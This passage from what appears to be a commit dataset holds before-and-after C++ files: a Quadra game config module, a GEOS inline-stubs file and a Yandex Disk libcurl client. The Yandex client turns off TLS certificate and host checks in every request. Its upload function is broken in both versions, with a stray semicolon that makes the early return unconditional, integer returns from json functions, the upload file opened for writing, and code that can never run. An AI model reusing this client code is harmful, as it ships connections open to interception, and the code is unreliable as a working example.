40);\n\t\t\t\tfix_str(player2[i].ngTeamPasswd, 64);\n\t\t\t}\n\t\t\tres.write(player, sizeof(player));\n\t\t\tres.write(player2, sizeof(player2));\n\t\t\tfix_str(info2.proxy_address, 128);\n\t\t\tres.write(&info2, sizeof(info2));\n\t\t\tfix_str(info3.last_modified, 64);\n\t\t\tfix_str(info3.default_game_server_address, 256);\n\t\t\tfix_str(info3.latest_version, 256);\n\t\t\tres.write(&info3, sizeof(info3));\n\t\t}\n\t}\n}\n\nvoid Config::get_player_hash(Byte* buf, unsigned qplayer) {\n\tif(player2[qplayer].ngPasswd[0]) {\n\t\tUnicode uni_p(player[qplayer].name);\n\t\tuni_p.cat(player2[qplayer].ngPasswd);\n\t\tCrypt name_crypt;\n\t\tname_crypt.step(uni_p, uni_p.size());\n\t\tname_crypt.finalize(false);\n\t\tmemcpy(buf, name_crypt.get_digest(), 16);\n\t}\n\telse\n\t\tmemset(buf, 0, 16);\n}\n\nvoid Config::get_team_hash(Byte* buf, unsigned qplayer) {\n\tif(player2[qplayer].ngTeam[0] && player2[qplayer].ngTeamPasswd[0]) {\n\t\tUnicode uni_t(player2[qplayer].ngTeam);\n\t\tuni_t.cat(player2[qplayer].ngTeamPasswd);\n\t\tCrypt team_crypt;\n\t\tteam_crypt.step(uni_t, uni_t.size());\n\t\tmemcpy(buf, team_crypt.get_digest(), 16);\n\t}\n\telse\n\t\tmemset(buf, 0, 16);\n}\n\nConfig config;\n<commit_msg>This memset had two inverted parameters since, well, forever.<commit_after>\/* -*- Mode: C++; c-basic-offset: 2; tab-width: 2; indent-tabs-mode: nil -*-\n * \n * Quadra, an action puzzle game\n * Copyright (C) 1998-2000  Ludus Design\n * \n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n * \n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n *\/\n\n#include \"cfgfile.h\"\n\n#include <string.h>\n#include <stdio.h>\n#include \"input.h\"\n#include \"res.h\"\n#include \"global.h\"\n#include \"crypt.h\"\n#include \"video.h\"\n#include \"version.h\"\n#include \"unicode.h\"\n\nRCSID(\"$Id$\")\n\nconst int Config::game_version = 19;\nint Config::net_version = 24;\n\nconst int Config::major = VERSION_MAJOR;\nconst int Config::minor = VERSION_MINOR;\nconst int Config::patchlevel = VERSION_PATCHLEVEL;\n\n\/* FIXME: we should remove all occurence of Config::xtreme *\/\nbool Config::xtreme = false;\nchar Config::user_name[64] = {\"\"};\n\nConfig::Config() {\n\tfname[0]=0;\n}\n\nConfig::~Config() {\n}\n\nvoid Config::default_config() {\n\tmemset(&version, 0, sizeof(version));\n\tmemset(&info, 0, sizeof(info));\n\tmemset(player, 0, sizeof(player));\n\tmemset(player2, 0, sizeof(player2));\n\tmemset(&info2, 0, sizeof(info2));\n\tmemset(&info3, 0, sizeof(info3));\n\tinfo.language = 0;\n\tinfo.setup_player = 0;\n\tinfo.cdmusic = 0; \/\/ 0=no music  1=auto-change  2=loop all\n\tinfo.multi_level = 1;\n\tinfo.unlock_theme = 0;\n\tinfo.port_number = 3456;\n\tinfo.mouse_speed = 100;\n\tinfo.pane[0] = 2;\n\tinfo.pane[1] = 0;\n\tinfo.pane[2] = 3;\n\tinfo.update_rate = 10;\n\tmemset(info.book, 0, sizeof(info.book));\n\tinfo.game_name[0] = 0;\n\tinfo.game_type = info.level_up = info.level_start = info.combo_min = info.game_end = 0;\n\tinfo.game_public = 1;\n\tinfo.game_end_value = 1;\n\n\tfor(int i=0; i<3; i++) {\n\t\tsprintf(st,\"#%i\", i+1);\n\t\tstrcpy(player[i].name, st);\n\t\tplayer[i].color = i;\n\t\tplayer[i].shadow = 0;\n\t\tplayer[i].smooth = 1;\n\t\tplayer[i].repeat = -1;\n\t\tplayer2[i].h_repeat = 2;\n\t\tplayer2[i].v_repeat = 2;\n\t\tplayer2[i].continuous = 1;\n\t\tplayer[i].key[0] = KEY_LEFTARROW;\n\t\tplayer[i].key[1] = KEY_RIGHTARROW;\n\t\tplayer[i].key[2] = KEY_UPARROW;\n\t\tplayer[i].key[3] = KEY_DOWNARROW;\n\t\tplayer[i].key[4] = KEY_UPARROW;\n\t\tplayer2[i].key[0] = KEY_RSHIFT;\n\t\tplayer2[i].key[1] = KEY_SPACE;\n\t}\n}\n\nvoid Config::read() {\n\tif(!fname[0])\n\t\tsnprintf(fname, sizeof(fname) - 1, \"%s\/%s\", quadradir, \"quadra.cfg\");\n\n\tint i;\n\n\tRes_dos res(fname, RES_TRY);\n\tmemset(&version, 0, sizeof(version));\n\tmemset(&info, 0, sizeof(info));\n\tmemset(player, 0, sizeof(player));\n\tmemset(player2, 0, sizeof(player2));\n\tmemset(&info2, 0, sizeof(info2));\n\tmemset(&info3, 0, sizeof(info3));\n\twarning = 0;\n\tif(!res.exist) {\n\t\tdefault_config();\n\t\twarning = 1;\n\t} else {\n\t\tif(res.size() != (sizeof(version) + sizeof(info) + sizeof(player)) &&\n\t\t   res.size() != (sizeof(version) + sizeof(info) + sizeof(player) + sizeof(player2) + sizeof(info2)) &&\n       res.size() != (sizeof(version) + sizeof(info) + sizeof(player) + sizeof(player2) + sizeof(info2) + sizeof(info3))) {\n\t\t\tdefault_config();\n\t\t\twarning = 2;\n\t\t} else {\n\t\t\tversion = -1;\n\t\t\tres.read(&version, sizeof(version));\n\t\t\tif(version != game_version) {\n\t\t\t\tdefault_config();\n\t\t\t\twarning = 2;\n\t\t\t} else {\n\t\t\t\tres.read(&info, sizeof(info));\n\t\t\t\tres.read(player, sizeof(player));\n\t\t\t\t\/\/Those may not be present, but the default is all-zero anyway\n\t\t\t\tres.read(player2, sizeof(player2));\n\t\t\t\tres.read(&info2, sizeof(info2));\n\t\t\t\tres.read(&info3, sizeof(info3));\n\t\t\t}\n\t\t}\n\t}\n\t\n\tif(info3.latest_version[0] == 0)\n\t{\n\t\tstrcpy(info3.latest_version, VERSION_STRING);\n\t}\n\n\tfor(i=0; i<3; i++) {\n\t\tplayer[i].name[39] = 0;\n\t\tif(player[i].color<0 || player[i].color>=MAXTEAMS)\n\t\t\tplayer[i].color=i;\n\t\tif(player[i].shadow<0 || player[i].shadow>1)\n\t\t\tplayer[i].shadow=1;\n\t\tif(player[i].smooth<0 || player[i].smooth>1)\n\t\t\tplayer[i].smooth=1;\n\t\tif(player[i].repeat<-1 || player[i].repeat>3)\n\t\t\tplayer2[i].h_repeat=player2[i].v_repeat=2;\n\t\telse\n\t\t\tif(player[i].repeat>=0) {\n\t\t\t\tplayer2[i].h_repeat=player[i].repeat;\n\t\t\t\tplayer2[i].v_repeat=player[i].repeat;\n\t\t\t}\n\t\tif(player2[i].h_repeat<0 || player2[i].h_repeat>3) {\n\t\t\tplayer2[i].h_repeat=2;\n\t\t}\n\t\tif(player2[i].v_repeat<0 || player2[i].v_repeat>3) {\n\t\t\tplayer2[i].v_repeat=2;\n\t\t}\n\t\tplayer[i].repeat = -1;\n\t\tif(player2[i].continuous<0 || player2[i].continuous>1)\n\t\t\tplayer2[i].continuous=1;\n\t\tif(player2[i].handicap<0 || player2[i].handicap>4)\n\t\t\tplayer2[i].handicap=0;\n\t\tplayer2[i].ngPasswd[63]=0;\n\t\tplayer2[i].ngTeam[39]=0;\n\t\tplayer2[i].ngTeamPasswd[63]=0;\n\t}\n\tfor(i=0; i<10; i++) {\n\t\tinfo.book[i][255] = 0;\n\t}\n\tinfo2.proxy_address[127] = 0;\n\tinfo3.last_modified[63] = 0;\n\tinfo3.default_game_server_address[255] = 0;\n\tinfo3.latest_version[255] = 0;\n}\n\nvoid fix_str(char *st, Dword len) {\n\tbool in_str(true);\n\n\tfor(Dword i = 0; i < len; ++i)\n\t\tif(!in_str)\n\t\t\tst[i] = 0;\n\t\telse\n\t\t\tif(!st[i])\n\t\t\t\tin_str = false;\n\tst[len - 1] = 0;\n}\n\nvoid Config::write() {\n\tint i;\n\tif(!fname[0])\n\t\tsnprintf(fname, sizeof(fname) - 1, \"%s\/%s\", quadradir, \"quadra.cfg\");\n\n\tif(!video_is_dumb) {\n\t\tRes_dos res(fname, RES_CREATE);\n\t\tif(res.exist) {\n\t\t\tversion = game_version;\n\t\t\tres.write(&version, sizeof(version));\n\t\t\tfor(i=0; i<10; i++)\n\t\t\t\tfix_str(info.book[i], 256);\n\t\t\tfix_str(info.game_name, 32);\n\t\t\tfix_str(info.game_server_address, 256);\n\t\t\tres.write(&info, sizeof(info));\n\t\t\tfor(i=0; i<3; i++) {\n\t\t\t\tfix_str(player[i].name, 40);\n\t\t\t\tfix_str(player2[i].ngPasswd, 64);\n\t\t\t\tfix_str(player2[i].ngTeam, 40);\n\t\t\t\tfix_str(player2[i].ngTeamPasswd, 64);\n\t\t\t}\n\t\t\tres.write(player, sizeof(player));\n\t\t\tres.write(player2, sizeof(player2));\n\t\t\tfix_str(info2.proxy_address, 128);\n\t\t\tres.write(&info2, sizeof(info2));\n\t\t\tfix_str(info3.last_modified, 64);\n\t\t\tfix_str(info3.default_game_server_address, 256);\n\t\t\tfix_str(info3.latest_version, 256);\n\t\t\tres.write(&info3, sizeof(info3));\n\t\t}\n\t}\n}\n\nvoid Config::get_player_hash(Byte* buf, unsigned qplayer) {\n\tif(player2[qplayer].ngPasswd[0]) {\n\t\tUnicode uni_p(player[qplayer].name);\n\t\tuni_p.cat(player2[qplayer].ngPasswd);\n\t\tCrypt name_crypt;\n\t\tname_crypt.step(uni_p, uni_p.size());\n\t\tname_crypt.finalize(false);\n\t\tmemcpy(buf, name_crypt.get_digest(), 16);\n\t}\n\telse\n\t\tmemset(buf, 0, 16);\n}\n\nvoid Config::get_team_hash(Byte* buf, unsigned qplayer) {\n\tif(player2[qplayer].ngTeam[0] && player2[qplayer].ngTeamPasswd[0]) {\n\t\tUnicode uni_t(player2[qplayer].ngTeam);\n\t\tuni_t.cat(player2[qplayer].ngTeamPasswd);\n\t\tCrypt team_crypt;\n\t\tteam_crypt.step(uni_t, uni_t.size());\n\t\tmemcpy(buf, team_crypt.get_digest(), 16);\n\t}\n\telse\n\t\tmemset(buf, 0, 16);\n}\n\nConfig config;\n<|endoftext|>"}
{"text":"<commit_before>\/**********************************************************************\n * $Id$\n *\n * GEOS - Geometry Engine Open Source\n * http:\/\/geos.refractions.net\n *\n * Copyright (C) 2005-2006 Refractions Research Inc.\n *\n * This is free software; you can redistribute and\/or modify it under\n * the terms of the GNU Lesser General Public Licence as published\n * by the Free Software Foundation. \n * See the COPYING file for more information.\n *\n **********************************************************************\n *\n * This file is here to make all inlined functions also \n * available as non-inlines when building with GEOS_INLINES defined.\n *\n **********************************************************************\/\n\n\n\/\/ Only do something if GEOS_INLINE is defined\n\/\/ Otherwise we'll end up with duplicated symbols\n#ifdef GEOS_INLINE\n\n\/\/ If using MingW with GEOS_INLINE to build a DLL then MingW's gcc\n\/\/ has already generated the stubs for the contents of this file. \n\/\/ Hence we need to supress it to avoid \"multiple definition\" errors\n\/\/ during the final link phase\n#if ! defined(__MINGW32__) || defined(__MINGW32__) && !defined(DLL_EXPORT)\n\n\n\/\/ Undefine GEOS_INLINE so that .inl files\n\/\/ will be ready for an implementation file\n#undef GEOS_INLINE \n\n#include <geos\/inline.h>\n\n#include <geos\/io\/WKTReader.inl>\n#include <geos\/io\/ByteOrderDataInStream.inl>\n#include <geos\/operation\/overlay\/MinimalEdgeRing.inl>\n#include <geos\/geomgraph\/DirectedEdge.inl>\n#include <geos\/geomgraph\/GeometryGraph.inl>\n#include <geos\/algorithm\/ConvexHull.inl>\n#include <geos\/geom\/GeometryCollection.inl>\n#include <geos\/geom\/LineSegment.inl>\n#include <geos\/geom\/PrecisionModel.inl>\n#include <geos\/geom\/Geometry.inl>\n#include <geos\/geom\/Envelope.inl>\n#include <geos\/geom\/Coordinate.inl>\n#include <geos\/geom\/GeometryFactory.inl>\n#include <geos\/geom\/MultiLineString.inl>\n#include <geos\/geom\/MultiPolygon.inl>\n#include <geos\/geom\/CoordinateArraySequenceFactory.inl>\n#include <geos\/noding\/SegmentString.inl>\n#include <geos\/noding\/snapround\/HotPixel.inl>\n#include <geos\/noding\/snapround\/MCIndexSnapRounder.inl>\n#include <geos\/noding\/MCIndexNoder.inl>\n\n\n#endif \/\/ defined __MINGW32__ and !defined DLL_EXPORT\n\n#endif \/\/ defined GEOS_INLINE\n<commit_msg>Cygwin\/Mingw patch from Mark Cave-Ayland<commit_after>\/**********************************************************************\n * $Id$\n *\n * GEOS - Geometry Engine Open Source\n * http:\/\/geos.refractions.net\n *\n * Copyright (C) 2005-2006 Refractions Research Inc.\n *\n * This is free software; you can redistribute and\/or modify it under\n * the terms of the GNU Lesser General Public Licence as published\n * by the Free Software Foundation. \n * See the COPYING file for more information.\n *\n **********************************************************************\n *\n * This file is here to make all inlined functions also \n * available as non-inlines when building with GEOS_INLINES defined.\n *\n **********************************************************************\/\n\n\n\/\/ Only do something if GEOS_INLINE is defined\n\/\/ Otherwise we'll end up with duplicated symbols\n#ifdef GEOS_INLINE\n\n\/\/ If using MingW or Cygwin with GEOS_INLINE to build a DLL then Win32 gcc\n\/\/ has already generated the stubs for the contents of this file. \n\/\/ Hence we need to supress it to avoid \"multiple definition\" errors\n\/\/ during the final link phase\n#if !(defined(__GNUC__) && defined(_WIN32)) || defined(__GNUC__) && defined(_WIN32) && !defined(DLL_EXPORT)\n\n\n\/\/ Undefine GEOS_INLINE so that .inl files\n\/\/ will be ready for an implementation file\n#undef GEOS_INLINE \n\n#include <geos\/inline.h>\n\n#include <geos\/io\/WKTReader.inl>\n#include <geos\/io\/ByteOrderDataInStream.inl>\n#include <geos\/operation\/overlay\/MinimalEdgeRing.inl>\n#include <geos\/geomgraph\/DirectedEdge.inl>\n#include <geos\/geomgraph\/GeometryGraph.inl>\n#include <geos\/algorithm\/ConvexHull.inl>\n#include <geos\/geom\/GeometryCollection.inl>\n#include <geos\/geom\/LineSegment.inl>\n#include <geos\/geom\/PrecisionModel.inl>\n#include <geos\/geom\/Geometry.inl>\n#include <geos\/geom\/Envelope.inl>\n#include <geos\/geom\/Coordinate.inl>\n#include <geos\/geom\/GeometryFactory.inl>\n#include <geos\/geom\/MultiLineString.inl>\n#include <geos\/geom\/MultiPolygon.inl>\n#include <geos\/geom\/CoordinateArraySequenceFactory.inl>\n#include <geos\/noding\/SegmentString.inl>\n#include <geos\/noding\/snapround\/HotPixel.inl>\n#include <geos\/noding\/snapround\/MCIndexSnapRounder.inl>\n#include <geos\/noding\/MCIndexNoder.inl>\n\n\n#endif \/\/ defined __MINGW32__ and !defined DLL_EXPORT\n\n#endif \/\/ defined GEOS_INLINE\n<|endoftext|>"}
{"text":"<commit_before>\n#include <curl\/curl.h>\n\n#include <url\/params.hpp>\n#include <yadisk\/client.hpp>\n#include <boost\/algorithm\/string\/join.hpp>\n#include <sys\/stat.h>\n#include <fcntl.h>\n#include <sstream>\nusing std::stringstream;\n\n#include \"callbacks.hpp\"\n#include \"quote.hpp\"\n\nnamespace yadisk\n{\n\tstatic const std::string api_url = \"https:\/\/cloud-api.yandex.net\/v1\/disk\";\n\n\n    Client::Client(string token_) : token{token_} {}    \nauto Client::upload(url::path to, fs::path from, bool overwrite, std::list<string> fields) -> json {\n   \t CURL *curl;\n  \t\n  \tstruct stat file_info;\n  \n  \tFILE *fd;\n \turl::params_t url_params;\n\tstruct curl_slist *header_list = nullptr;\n\tstd::string auth_header;\n\t    \n \tfs::path p(fs::current_path());\n\turl_params[\"path\"] = quote(to.string(), curl);\n\turl_params[\"overwrite\"] = overwrite;\n\turl_params[\"fields\"] = boost::algorithm::join(fields, \",\");\n\tstd::string url = api_url + \"\/upload?\" + url_params.string();\n\t    \n\tstruct curl_slist *head_list = nullptr;\n  \tauthor_header = \"Authorization: OAuth \" + token;\n\thead_list = curl_slist_append(head_list, author_header.c_str());\n  \tstringstream res;\n  \tfd = fopen(\"C:\\\\file.txt\", \"w\");  \/\/открытие файла для загрузки\n \tif(!fd)\n    \treturn 1; \/\/не может продолжить \n   \t\/\/ получаем размер файла\n  \tif(fstat(fileno(fd)), &file_info)!=0;\n    \treturn 1; \/* can't continue *\/ \n \n  \tcurl = curl_easy_init();\n\t\/\/  if(curl) {\n     \t\/\/выбор места для загрузки\n    \tcurl_easy_setopt(curl, CURLOPT_URL,url.c_str());\n    \tcurl_easy_setopt(curl, CURLOPT_READDATA, &res);              \n    \tcurl_easy_setopt(curl, CURLOPT_READFUNCTION, write<stringstream>);\n\tcurl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0);\n\tcurl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0);\n\tcurl_easy_setopt(curl, CURLOPT_HTTPHEADER, head_list);\n\t   \n    \tauto res_code = curl_easy_perform(curl);\n     \tcurl_easy_cleanup(curl);\n\tcurl_slist_free_all(header_list);\n    \tif (res_code != CURLE_OK) return json();\n\n\t\tauto answer = json::parse(res);\n\t\treturn answer;\n\t   \n\tcurl = curl_easy_init();\n\t\n    \t \/\/загрузка по URL\n    \tcurl_easy_setopt(curl, CURLOPT_UPLOAD, 1L);\n \tcurl_easy_setopt(curl, CURLOPT_PUT, 1L);\n     \t\/\/чтения файла \n    \tcurl_easy_setopt(curl, CURLOPT_READDATA, fd);\n    \t\/\/устанавливаем размер файла для отправки\n    \tcurl_easy_setopt(curl, CURLOPT_INFILESIZE_LARGE,(curl_off_t)file_info.st_size);\n     \t\/\/для облегчения трассировки \n    \tcurl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);\n\t   \n    \tauto resp = curl_easy_perform(curl);\n\tcurl_slist_free_all(head_list);\n\tcurl_easy_cleanup(curl);\n\tif (response != CURLE_OK) return json();\n\n\t\tauto answer = json::parse(res);\n\t\treturn answer;\n     \treturn 0;    \n}\n\t   \n\n\n\n    auto Client::ping() -> bool {\n        \n        CURL * curl = curl_easy_init();\n        if (curl == nullptr) return false;\n\n        std::string url = api_url;\n        \n\t\tstruct curl_slist *header_list = nullptr;\n\t\tstd::string auth_header = \"Authorization: OAuth \" + token;\n\t\theader_list = curl_slist_append(header_list, auth_header.c_str());\n\n\t\tcurl_easy_setopt(curl, CURLOPT_URL, url.c_str());\n\t\tcurl_easy_setopt(curl, CURLOPT_CUSTOMREQUEST, \"GET\");\n        curl_easy_setopt(curl, CURLOPT_NOBODY, 1L);\n\t\tcurl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0);\n\t\tcurl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0);\n\t\tcurl_easy_setopt(curl, CURLOPT_HTTPHEADER, header_list);\n\n\t\tauto response_code = curl_easy_perform(curl);\n\n\t\tcurl_slist_free_all(header_list);\n\t\tcurl_easy_cleanup(curl);\n\n\t\tif ( response_code != CURLE_OK ) return false;\n\n        long http_response_code = 0;\n\t\tcurl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &http_response_code);\n\n        return http_response_code == 200;\n    }\n\n\tauto Client::copy(url::path from, url::path to, bool overwrite, std::list<std::string> fields) -> json {\n\n\t\tCURL * curl = curl_easy_init();\n\t\tif (!curl) return json();\n\n\t\turl::params_t url_params;\n\t\turl_params[\"from\"] = quote(from.string(), curl);\n\t\turl_params[\"path\"] = quote(to.string(), curl);\n\t\turl_params[\"overwrite\"] = overwrite;\n\t\turl_params[\"fields\"] = boost::algorithm::join(fields, \",\");\n\t\tstd::string url = api_url + \"\/resources\/copy\" + \"?\" + url_params.string();\n\n\t\tstruct curl_slist *header_list = nullptr;\n\t\tstd::string auth_header = \"Authorization: OAuth \" + token;\n\t\theader_list = curl_slist_append(header_list, auth_header.c_str());\n\n\t\tstringstream response;\n\t\tcurl_easy_setopt(curl, CURLOPT_URL, url.c_str());\n\t\tcurl_easy_setopt(curl, CURLOPT_READDATA, &response);\n\t\tcurl_easy_setopt(curl, CURLOPT_READFUNCTION, write<stringstream>);\n\t\tcurl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0);\n\t\tcurl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0);\n\t\tcurl_easy_setopt(curl, CURLOPT_HTTPHEADER, header_list);\n\n\t\tauto response_code = curl_easy_perform(curl);\n\n\t\tcurl_slist_free_all(header_list);\n\t\tcurl_easy_cleanup(curl);\n\n\t\tif (response_code != CURLE_OK) return json();\n\n\t\tauto response_data = json::parse(response);\n\t\treturn response_data;\n\t}\n    \n\tauto Client::patch(url::path resource, json meta, std::list<string> fields) -> json {\n\n\t\t\/\/ init http request\n\t\tCURL * curl = curl_easy_init();\n\t\tif (curl == nullptr) return json();\n\n\t\t\/\/ fill http url\n\t\turl::params_t url_params;\n\t\turl_params[\"fields\"] = boost::algorithm::join(fields, \",\");\n\t\turl_params[\"path\"] = quote(resource.string(), curl);\n\t\tstd::string url = api_url + \"\/resources\" + \"?\" + url_params.string();\n\n\t\t\/\/ fill http headers\n\t\tcurl_slist * header_list = nullptr;\n\t\tstd::string auth_header = \"Authorization: OAuth \" + token;\n\t\theader_list = curl_slist_append(header_list, \"Content-Type: application\/json\");\n\t\theader_list = curl_slist_append(header_list, auth_header.c_str());\n\n\t\t\/\/ fill http body\n\t\tauto request_body = meta.dump();\n\n\t\t\/\/ build http request\n\t\tstringstream response_body;\n\t\tcurl_easy_setopt(curl, CURLOPT_URL, url.c_str());\n\t\tcurl_easy_setopt(curl, CURLOPT_CUSTOMREQUEST, \"PATCH\");\n\t\tcurl_easy_setopt(curl, CURLOPT_WRITEDATA, &response_body);\n\t\tcurl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write<stringstream>);\n\t\tcurl_easy_setopt(curl, CURLOPT_POSTFIELDS, request_body.c_str());\n\t\tcurl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, request_body.size());\n\t\tcurl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0);\n\t\tcurl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0);\n\t\tcurl_easy_setopt(curl, CURLOPT_HTTPHEADER, header_list);\n\n\t\t\/\/ perform http request\n\t\tauto response_code = curl_easy_perform(curl);\n\n\t\t\/\/ clean resources\n\t\tcurl_slist_free_all(header_list);\n\t\tcurl_easy_cleanup(curl);\n\n\t\t\/\/ check response code\n\t\tif ( response_code != CURLE_OK ) return json();\n\n\t\t\/\/ handle body of http response\n\t\tauto info = json::parse(response_body);\n\t\treturn info;\n\t}\n}\n\nclass curl_environment {\npublic:\n    curl_environment() {\n        curl_global_init(CURL_GLOBAL_ALL);\n    }\n    ~curl_environment() {\n        curl_global_cleanup();\n    }\n};\n\nstatic const curl_environment env;\n\n<commit_msg>Update client.cpp<commit_after>\n#include <curl\/curl.h>\n\n#include <url\/params.hpp>\n#include <yadisk\/client.hpp>\n#include <boost\/algorithm\/string\/join.hpp>\n#include <sys\/stat.h>\n#include <fcntl.h>\n#include <sstream>\nusing std::stringstream;\n\n#include \"callbacks.hpp\"\n#include \"quote.hpp\"\n\nnamespace yadisk\n{\n\tstatic const std::string api_url = \"https:\/\/cloud-api.yandex.net\/v1\/disk\";\n\n\n    Client::Client(string token_) : token{token_} {}    \nauto Client::upload(url::path to, fs::path from, bool overwrite, std::list<string> fields) -> json {\n   \t CURL *curl;\n  \t\n  \tstruct stat file_info;\n  \n  \tFILE *fd;\n \turl::params_t url_params;\n\tstruct curl_slist *header_list = nullptr;\n\tstd::string auth_header;\n\t    \n \tfs::path p(fs::current_path());\n\turl_params[\"path\"] = quote(to.string(), curl);\n\turl_params[\"overwrite\"] = overwrite;\n\turl_params[\"fields\"] = boost::algorithm::join(fields, \",\");\n\tstd::string url = api_url + \"\/upload?\" + url_params.string();\n\t    \n\tstruct curl_slist *head_list = nullptr;\n  \tauth_header = \"Authorization: OAuth \" + token;\n\thead_list = curl_slist_append(head_list, auth_header.c_str());\n  \tstringstream res;\n  \tfd = fopen(\"C:\\\\file.txt\", \"w\");  \/\/открытие файла для загрузки\n \tif(!fd)\n    \treturn 1; \/\/не может продолжить \n   \t\/\/ получаем размер файла\n  \tif(fstat(fileno(fd), &file_info)!=0);\n    \treturn 1; \/* can't continue *\/ \n \n  \tcurl = curl_easy_init();\n\t\/\/  if(curl) {\n     \t\/\/выбор места для загрузки\n    \tcurl_easy_setopt(curl, CURLOPT_URL,url.c_str());\n    \tcurl_easy_setopt(curl, CURLOPT_READDATA, &res);              \n    \tcurl_easy_setopt(curl, CURLOPT_READFUNCTION, write<stringstream>);\n\tcurl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0);\n\tcurl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0);\n\tcurl_easy_setopt(curl, CURLOPT_HTTPHEADER, head_list);\n\t   \n    \tauto res_code = curl_easy_perform(curl);\n     \tcurl_easy_cleanup(curl);\n\tcurl_slist_free_all(header_list);\n    \tif (res_code != CURLE_OK) return json();\n\n\t\tauto answer = json::parse(res);\n\t\treturn answer;\n\t   \n\tcurl = curl_easy_init();\n\t\n    \t \/\/загрузка по URL\n    \tcurl_easy_setopt(curl, CURLOPT_UPLOAD, 1L);\n \tcurl_easy_setopt(curl, CURLOPT_PUT, 1L);\n     \t\/\/чтения файла \n    \tcurl_easy_setopt(curl, CURLOPT_READDATA, fd);\n    \t\/\/устанавливаем размер файла для отправки\n    \tcurl_easy_setopt(curl, CURLOPT_INFILESIZE_LARGE,(curl_off_t)file_info.st_size);\n     \t\/\/для облегчения трассировки \n    \tcurl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);\n\t   \n    \tauto resp = curl_easy_perform(curl);\n\tcurl_slist_free_all(head_list);\n\tcurl_easy_cleanup(curl);\n\tif (resp != CURLE_OK) return json();\n\n\t\tauto answer = json::parse(res);\n\t\treturn answer;\n     \treturn 0;    \n}\n\t   \n\n\n\n    auto Client::ping() -> bool {\n        \n        CURL * curl = curl_easy_init();\n        if (curl == nullptr) return false;\n\n        std::string url = api_url;\n        \n\t\tstruct curl_slist *header_list = nullptr;\n\t\tstd::string auth_header = \"Authorization: OAuth \" + token;\n\t\theader_list = curl_slist_append(header_list, auth_header.c_str());\n\n\t\tcurl_easy_setopt(curl, CURLOPT_URL, url.c_str());\n\t\tcurl_easy_setopt(curl, CURLOPT_CUSTOMREQUEST, \"GET\");\n        curl_easy_setopt(curl, CURLOPT_NOBODY, 1L);\n\t\tcurl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0);\n\t\tcurl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0);\n\t\tcurl_easy_setopt(curl, CURLOPT_HTTPHEADER, header_list);\n\n\t\tauto response_code = curl_easy_perform(curl);\n\n\t\tcurl_slist_free_all(header_list);\n\t\tcurl_easy_cleanup(curl);\n\n\t\tif ( response_code != CURLE_OK ) return false;\n\n        long http_response_code = 0;\n\t\tcurl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &http_response_code);\n\n        return http_response_code == 200;\n    }\n\n\tauto Client::copy(url::path from, url::path to, bool overwrite, std::list<std::string> fields) -> json {\n\n\t\tCURL * curl = curl_easy_init();\n\t\tif (!curl) return json();\n\n\t\turl::params_t url_params;\n\t\turl_params[\"from\"] = quote(from.string(), curl);\n\t\turl_params[\"path\"] = quote(to.string(), curl);\n\t\turl_params[\"overwrite\"] = overwrite;\n\t\turl_params[\"fields\"] = boost::algorithm::join(fields, \",\");\n\t\tstd::string url = api_url + \"\/resources\/copy\" + \"?\" + url_params.string();\n\n\t\tstruct curl_slist *header_list = nullptr;\n\t\tstd::string auth_header = \"Authorization: OAuth \" + token;\n\t\theader_list = curl_slist_append(header_list, auth_header.c_str());\n\n\t\tstringstream response;\n\t\tcurl_easy_setopt(curl, CURLOPT_URL, url.c_str());\n\t\tcurl_easy_setopt(curl, CURLOPT_READDATA, &response);\n\t\tcurl_easy_setopt(curl, CURLOPT_READFUNCTION, write<stringstream>);\n\t\tcurl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0);\n\t\tcurl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0);\n\t\tcurl_easy_setopt(curl, CURLOPT_HTTPHEADER, header_list);\n\n\t\tauto response_code = curl_easy_perform(curl);\n\n\t\tcurl_slist_free_all(header_list);\n\t\tcurl_easy_cleanup(curl);\n\n\t\tif (response_code != CURLE_OK) return json();\n\n\t\tauto response_data = json::parse(response);\n\t\treturn response_data;\n\t}\n    \n\tauto Client::patch(url::path resource, json meta, std::list<string> fields) -> json {\n\n\t\t\/\/ init http request\n\t\tCURL * curl = curl_easy_init();\n\t\tif (curl == nullptr) return json();\n\n\t\t\/\/ fill http url\n\t\turl::params_t url_params;\n\t\turl_params[\"fields\"] = boost::algorithm::join(fields, \",\");\n\t\turl_params[\"path\"] = quote(resource.string(), curl);\n\t\tstd::string url = api_url + \"\/resources\" + \"?\" + url_params.string();\n\n\t\t\/\/ fill http headers\n\t\tcurl_slist * header_list = nullptr;\n\t\tstd::string auth_header = \"Authorization: OAuth \" + token;\n\t\theader_list = curl_slist_append(header_list, \"Content-Type: application\/json\");\n\t\theader_list = curl_slist_append(header_list, auth_header.c_str());\n\n\t\t\/\/ fill http body\n\t\tauto request_body = meta.dump();\n\n\t\t\/\/ build http request\n\t\tstringstream response_body;\n\t\tcurl_easy_setopt(curl, CURLOPT_URL, url.c_str());\n\t\tcurl_easy_setopt(curl, CURLOPT_CUSTOMREQUEST, 